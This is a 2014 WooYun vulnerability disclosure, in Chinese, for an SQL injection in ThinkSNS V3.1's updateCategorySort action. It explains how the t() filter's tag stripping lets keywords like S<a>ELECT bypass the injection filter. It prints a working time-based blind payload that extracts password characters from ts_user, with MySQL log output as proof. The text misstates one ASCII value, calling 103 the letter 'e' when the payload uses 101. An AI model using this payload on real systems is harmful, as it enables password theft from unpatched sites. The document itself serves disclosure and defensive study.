漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-077877
漏洞标题:ThinkSNS某处SQL注入漏洞(bypass防注入)
相关厂商:ThinkSNS
漏洞作者: error
提交时间:2014-09-30 01:35
修复时间:2014-12-26 01:36
公开时间:2014-12-26 01:36
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-09-30: 细节已通知厂商并且等待厂商处理中
2014-10-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-29: 细节向核心白帽子及相关领域专家公开
2014-12-09: 细节向普通白帽子公开
2014-12-19: 细节向实习白帽子公开
2014-12-26: 细节向公众公开
简要描述:
ThinkSNS某处存在SQL注入漏洞,并可绕过防注入,获取任意数据
详细说明:
漏洞代码:\apps\public\Lib\Action\TestAction.class.php
540行处的源码:
public function updateCategorySort()
{
$stable = t($_GET['t']);
!empty($stable) && model('CategoryTree')->setTable($stable)->updateSort();
}
代码中$stable函数代表的是表名,$stable直接使用GET方式传入:$stable = t($_GET['t']); 显然如果t函数处理不当,必然会造成SQL注入漏洞。
1)先看t函数的处理逻辑:(\core\OpenSociax\functions.inc.php 630行)
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}
t函数实现中在addslashes处理前还会先调用real_strip_tags函数进行处理
2)看下real_strip_tags函数的实现:(\core\OpenSociax\functions.inc.php 2274行)
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}
real_strip_tags函数实现的功能是过滤掉html标签,因此t函数的实现存在绕过防注入的缺陷,比如注入时可以将s<a>elect传入t函数,在经过real_strip_tags函数后s<a>elect就会被转化为select,进而绕过SQL注入的关键字正则匹配检测。
因此可以构造如下Payload进行盲注:
/index.php?app=public&mod=Test&act=updateCategorySort&t=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING(PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT/**/1)=101,S<a>LEEP(2.02),0)%23
如果ASCII(SUBSTRING(PASSWORD,1,1)) = 103即字符e ,那么就会执行sleep(2.02),每次执行后需要更改sleep的时间,不然会有缓存,导致不会有sleep的效果,这里可以使用sleep(2.03)、sleep(2.04)这种递增小数位的办法来绕过缓存。
漏洞证明:
利用证明:(本地测试)
http://127.0.0.1/thinksns-V3.1/index.php?app=public&mod=Test&act=updateCategorySort&t=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING(PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT 1)=101,1=S<a>LEEP(2.02),0)%23
Mysql日志输出如下:
15 Query SHOW COLUMNS FROM ts_user/**/where/**/if((select/**/ascii(substring(password,1,1))from/**/ts_user/**/limit 1)=101,sleep(2.02),0)#
成功绕过防注入进行时间延迟盲注。。
修复方案:
加强过滤逻辑
版权声明:转载请注明来源 error@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-12-26 01:36
厂商回复:
最新状态:
2014-10-05:来晚,抱歉!